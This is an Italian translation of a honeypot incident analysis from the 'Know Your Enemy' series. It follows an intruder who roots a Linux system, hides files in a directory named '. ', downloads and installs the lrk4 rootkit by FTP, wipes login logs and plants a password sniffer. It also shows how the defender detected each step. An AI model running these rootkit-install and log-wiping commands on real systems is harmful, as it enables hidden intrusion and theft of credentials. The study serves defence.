Ottenimento dei diritti di root
Conosci Il Tuo Nemico: III

Lance Spitzner
http://www.enteract.com/~lspitz/papers.html
Ultima Modifica: 27 March, 2000

Questo articolo è il terzo di una serie incentrata sullo script kiddie.  Il primo articolo parla di come gli script kiddie testano,  identificano, e sfruttano le vulnerabilità.  Il secondo articolo parla di come è possibile scoprire questi tentativi, identificare quale strumento software usano e quali vulnerabilità cercano.  Questo articolo , il terzo, parla di cosa avviene una volta che gli aggressori abbiano ottenuto i privilegi di root. In particolare, come coprono le loro tracce e cosa fanno in seguito. Potete scaricare i dati aggiornati usati per questo articolo qui.

Chi è lo script kiddie

Come avete potuto vedere nel primo articolo, lo script kiddie non è tanto una persona quanto una strategia, la strategia per esplorare in cerca di facili intrusioni. Non c'è ricerca di informazioni specifiche o di bersagliare una specifica compagnia, l'obiettivo è di ottenere root nel modo più facile possibile. Gli intrusi fanno ciò, concentrandosi su un piccolo numero di vulnerabilità, e quindi cercando su tutta la rete per tale vulnerabilità. Non sottovalutate questa strategia, presto o tardi troveranno qualcuno vulnerabile.

Una volta trovato un sistema vulnerabile ed aver ottenuto root, il loro primo passo è normalmente coprire le proprie tracce. Vogliono assicurarsi che voi non vi accorgiate che il sistema è stato compromesso, e che non possiate nè vedere nè registrare le loro azioni. Successivamente, spesso useranno il vostro sistema per esplorare altre reti o per controllarvi silenziosamente. Per raggiungere una migliore comprensione di come gli intrusi compiono questi atti, seguiremo i passi di un sistema compromesso da un intruso tramite la tattica dello script kiddie.  Il nostro sistema, chiamato mozart, è una Linux box con Red Hat 5.1.  Il sistema è stato compromesso il 27 Aprile del 1999.  Di seguito sono mostrati i passi intrapresi dall'intruso, con log di sistema ed output di tastiera per verificare ogni passo. Tutti i log di sistema sono stati registrati su un server log protetto, tutto l'output di tastiera è stato catturato con sniffit.  Per maggiori informazioni sulle modalità di cattura di queste informazioni, leggete "To Build a Honeypot".  In questo articolo il nostro intruso viene chiamato EGLI, sebbene non abbiamo idea di che genere sia l'intruso.

L'Impresa

Il 27 Aprile , alle 00:13, la nostra rete è stata esaminata dal sistema 1Cust174.tnt2.long-branch.nj.da.uu.net per diverse vulnerabilità, incluso imap.  Il nostro intruso arriva rumorosamente, ogni sistema della nostra rete viene testato (per maggiori informazioni su rilevazione e analisi delle esplorazioni, leggete il secondo articolo di questa serie).

Apr 27 00:12:25 mozart imapd[939]: connect from 208.252.226.174
Apr 27 00:12:27 bach imapd[1190]: connect from 208.252.226.174
Apr 27 00:12:30 vivaldi imapd[1225]: connect from 208.252.226.174

Apparentemente ha trovato qualcosa che gli piace e lo ritroviamo alle 06:52 ed alle 16:47 dello stesso giorno. Inizia una esplorazione più completa, ma stavolta concentrandosi solo su mozart.  Identifica una debolezza e lancia un attacco riuscito contro mountd, una vulnerabilità conosciuta della Red Hat 5.1. Possiamo vedere in /var/log/messages l'intruso che riesce a prendere root.  Lo strumento usato è molto probabilmente ADMmountd.c, o qualcosa di simile.

Apr 27 16:47:28 mozart mountd[306]: Unauthorized access by NFS client 208.252.226.174.
Apr 27 16:47:28 mozart syslogd: Cannot glue message parts together
Apr 27 16:47:28 mozart mountd[306]: Blocked attempt of 208.252.226.174 to mount
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~

Immediatamente dopo, vediamo in /var/log/messages il nostro intruso ottenere root via telnet come utente crak0, e quindi facendo "su rewt". Entrambi questi account sono stati aggiunti dallo script di exploit. L'intruso ha ora il controllo totale del nostro sistema.

Apr 27 16:50:27 mozart login[1233]: FAILED LOGIN 2 FROM 1Cust102.tnt1.long-branch.nj.da.uu.net FOR crak, User not known to the underlying authentication module
Apr 27 16:50:38 mozart PAM_pwdb[1233]: (login) session opened for user crak0 by (uid=0)
Apr 27 16:50:38 mozart login[1233]: LOGIN ON ttyp0 BY crak0 FROM 1Cust102.tnt1.long-branch.nj.da.uu.net
Apr 27 16:50:47 mozart PAM_pwdb[1247]: (su) session opened for user rewt by crak0(uid=0)

Copertura delle tracce

L'intruso è ora nel nostro sistema come utente root. Come vedremo ora, il suo prossimo passo sarà assicurarsi di non essere preso. Per prima cosa controlla se vi è qualcun altro sul sistema.

[crak0@mozart /tmp]$ w
  4:48pm  up 1 day, 18:27,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT
crak0    ttyp0    1Cust102.tnt1.lo  4:48pm  0.00s  0.23s  0.04s  w

Dopo essersi assicurato che la strada è libera, vorrà nascondere le proprie azioni. Questo normalmente richiede la rimozione di ogni occorrenza dai file di log e la sostituzione di eseguibili come ps o netstat con versioni modificate (cavalli di troia), in modo che voi non possiate vedere l'intruso sul vostro sistema. Una volta che i cavalli di troia sono a posto, l'intruso ha raggiunto il totale controllo del vostro sistema, e voi molto probabilmente potreste non saperlo mai. Come ci sono script automatici per entrare nel sistema, esistono strumenti automatici per nascondere le tracce dell'intrusione, spesso chiamati rootkits. Uno dei più comuni rootkit è lrk4.  Eseguendo lo script, una serie di file critici vengono sostituiti, nascondendo l'intruso in pochi secondi. Per maggiori informazioni sui rootkits, vedete il README che trovate con lrk4.  Questo vi darà una buona idea di come i rootkits lavorano in genere. Raccomando anche la lettura di hide-and-seek, un articolo sulla copertura delle tracce.

In pochi minuti dall'intrusione, è possibile vedere l'intruso scaricare il rootkit  ed implementarlo con il comando "make install".  Di seguito ciò che l'intruso digita per nascondersi.

cd /dev/
su rewt
mkdir ". "
cd ". "
ftp technotronic.com
anonymous
fdfsfdsdfssd@aol.com
cd /unix/trojans
get lrk4.unshad.tar.gz
quit
ls
tar -zxvf lrk4.unshad.tar.gz
mv lrk4 proc
mv proc ". "
cd ". "
ls
make install

Notate che la prima cosa che fa l'intruso è creare una directory nascosta ". " per nascondere il suo programma. Questa directory non viene mostrata dal comando "ls" command, e sembra la directory locale con il commando "ls -la". Un modo per trovare questa directory è con il comando "find" (assicuratevi dell'integrità del vostro eseguibile "find").

mozart #find / -depth -name "*.*"
/var/lib/news/.news.daily
/var/spool/at/.SEQ
/dev/. /. /procps-1.01/proc/.depend
/dev/. /.
/dev/.

Il nostro intruso si è mostrato sofisticato nell'usare cavalli di troia, ma ha un approccio semplice alla modifica del file di log. Invece di usare strumenti di ripulitura come zap2 o clean, copia /dev/null sui file /var/run/utmp e /var/log/utmp, e cancella /var/log/wtmp. Voi potete accorgervi che c'è qualcosa che non va se questi file di log sono vuoti o vi danno il seguente errore:

[root@mozart sbin]# last -10
last: /var/log/wtmp: No such file or directory
Perhaps this file was removed by the operator to prevent logging last info.

Il Passo Successivo

Una volta che il sistema è stato compromesso, l'intruso tende a fare una delle due cose seguenti.  Può usare il vostro sistema come rampa di lancio per esplorare o entrare in altri sistemi. Oppure mantenere un profilo basso e vedere cosa possono imparare del vostro sistema, per esempio accessi ad altri sistemi. Il nostro intruso decide per la seconda opzione, stare tranquillo e vedere cosa può imparare. Mette uno sniffer sul nostro sistema in modo da catturare tutto il traffico di rete, incluse le sessioni di telnet e ftp ad altri sistemi. In questo modo acquisisce diversi login e password. Possiamo vedere in /var/log/messages il nostro sistema passare velocemente in modo promiscuo dopo la compromissione.

Apr 27 17:03:38 mozart kernel: eth0: Setting promiscuous mode.
Apr 27 17:03:43 mozart kernel: eth0: Setting promiscuous mode.

Dopo aver installato i cavalli di troia, ripulito I file di log e fatto partire lo sniffer, l'intruso si disconnette dal sistema  Comunque tornerà il giorno successivo per vedere il traffico catturato.

Controllo Del Danno

La disconnessione del nostro amico mi dà la possibilità di controllare il sistema e vedere che cosa è successo esattamente. E' estremamente interessante vedere cosa ha alterato, e dove registra le informazioni dello sniffer. Per prima cosa con tripwire identifico velocemente i file modificati. Nota, assicuratevi di eseguire un tripwire valido.  I eseguo una versione di tripwire linkata staticamente da un floppy protetto in lettura. Tripwire mostra quanto segue.

added:   -rw-r--r-- root            5 Apr 27 17:01:16 1999 /usr/sbin/sniff.pid
added:   -rw-r--r-- root          272 Apr 27 17:18:09 1999 /usr/sbin/tcp.log
changed: -rws--x--x root        15588 Jun  1 05:49:22 1998 /bin/login
changed: drwxr-xr-x root        20480 Apr 10 14:44:37 1999 /usr/bin
changed: -rwxr-xr-x root        52984 Jun 10 04:49:22 1998 /usr/bin/find
changed: -r-sr-sr-x root       126600 Apr 27 11:29:18 1998 /usr/bin/passwd
changed: -r-xr-xr-x root        47604 Jun  3 16:31:57 1998 /usr/bin/top
changed: -r-xr-xr-x root         9712 May  1 01:04:46 1998 /usr/bin/killall
changed: -rws--s--x root       116352 Jun  1 20:25:47 1998 /usr/bin/chfn
changed: -rws--s--x root       115828 Jun  1 20:25:47 1998 /usr/bin/chsh
changed: drwxr-xr-x root         4096 Apr 27 17:01:16 1999 /usr/sbin
changed: -rwxr-xr-x root       137820 Jun  5 09:35:06 1998 /usr/sbin/inetd
changed: -rwxr-xr-x root         7229 Nov 26 00:02:19 1998 /usr/sbin/rpc.nfsd
changed: -rwxr-xr-x root       170460 Apr 24 00:02:19 1998 /usr/sbin/in.rshd
changed: -rwxr-x--- root       235516 Apr  4 22:11:56 1999 /usr/sbin/syslogd
changed: -rwxr-xr-x root        14140 Jun 30 14:56:36 1998 /usr/sbin/tcpd
changed: drwxr-xr-x root         2048 Apr  4 16:52:55 1999 /sbin
changed: -rwxr-xr-x root        19840 Jul  9 17:56:10 1998 /sbin/ifconfig
changed: -rw-r--r-- root          649 Apr 27 16:59:54 1999 /etc/passwd

Come potete vedere, sono stati modificati diversi file eseguibili. Non ci sono aggiunte nel file /etc/passwd (saggiamente, ha rimosso gli account crak0 e rewt), quindi il nostro intruso deve avere una "porta di servizio" in uno dei programmi modificati. Inoltre sono stati aggiunti due file, /usr/sbin/sniff.pid e /usr/sbin/tcp.log.  Ovviamente, /usr/sbin/sniff.pid è il pid dello sniffer, /usr/sbin/tcp.log è dove vengono archiviate le informazioni catturate dallo sniffer. Sulla base di /usr/sbin/sniff.pid, lo sniffer è risultato essere rpc.nfsd.  L'intruso ha compilato uno sniffer, nel nostro caso linsniffer ed ha sostituito rpc.nfsd con esso.  Questo assicura che se il sistema viene fatto ripartire, lo sniffer verrà rieseguito dal processo init.  Il comando "strings" ci conferma che rpc.nfsd è in realtà lo sniffer:

mozart #strings /usr/sbin/rpc.nfsd | tail -15
cant get SOCK_PACKET socket
cant get flags
cant set promiscuous mode
----- [CAPLEN Exceeded]
----- [Timed Out]
----- [RST]
----- [FIN]
%s =>
%s [%d]
sniff.pid
eth0
tcp.log
cant open log
rm %s

Dopo aver esaminato il sistema ed aver capito cosa è successo, lascio di nuovo il sistema a se stesso. Sono curioso di vedere quale sarà la prossima mossa dell'intruso. Non voglio che sappia che l'ho rilevato per cui rimuovo tutte le mie tracce da /usr/sbin/tcp.log.

Lo Script Kiddie Ritorna

Il giorno seguente il nostro amico torna. Registrando i comandi, identifico velocemente la porta di servizio, /bin/login è un cavallo di troia. Questo eseguibile, usato per le connessioni telnet, è stato configurato per permettere i privilegi di root all'account "rewt" con la password "satori".  La password "satori" è la passord di default per tutti gli eseguibili "cavalli di troia" usati dal rootkit lrk4, un indizio che il vostro sistema è stato compromesso.

L'intruso controlla lo sniffer per assicurarsi che sia ancora funzionante. Inoltre vuole controllare se è stato catturato qualche account dal giorno prima. Potete vedere quello che ha digitato in keystrokes.txt.  Notate alla fine del log che il nostro intruso termina lo sniffer. Questa è l'ultima cosa che fa prima di chiudere la sessione.  Comunque, torna dopo pochi minuti con un'altra sessione, solo per far ripartire lo sniffer. Non so proprio perchè abbia fatto questo..

Questo processo di controllo del sistema è continuato per diversi giorni.  Ogni giorno l'intruso si connetteva la sistema per assicurarsi che lo sniffer fosse in esecuzione e controllare se aveva catturato qualcosa di significativo. Dopo il quarto giorno, ho deciso che era abbastanza e ho disconnesso il sistema. Ho imparato abbastanza dalle azioni dell'intruso e non c'era niente di nuovo da imparare.

Conclusione

Abbiamo visto in questo articolo come può agire un intruso, dall'inizio alla fine, una volta che abbia ottenuto accesso di root al vostro sistema. Spesso iniziano col vedere se c'è qualcuno sul sistema. Una volta sicuri che il campo libero, coprono le loro tracce pulendo i file di log e sostituendo o modificando file critici. Una volta al sicuro iniziano nuove e dannose attività. Queste tattiche sono attuali, in quanto vengono costantemente scoperte nuove vulnerabilità. Per meglio proteggervi contro queste minacce vi raccomando di rendere sicuro il vostro sistema. Una sicurezza di base può proteggere i vostri sistemi contro la maggior parte delle minacce da script kiddie, in quanto questi normalmente cercano facili intrusioni.  Per idee su come rendere sicuro il vostro sistema leggete Proteggere Linux o Proteggere Solaris.  Se è troppo tardi e credete che il vostro sistema sia stato compromesso un buon posto per iniziare è "Recovering from an Incident" presso il sito del CERT.

Biografia dell'Autore
Lance Spitzner si diverte ad imparare facendo saltare i suoi sistemi Unix a casa. Prima di questo, era Ufficiale della Forza di Intervento Rapido, dove faceva saltare cose di diversa natura. E' raggiungibile a lance@spitzner.net .

Whitepapers / Publications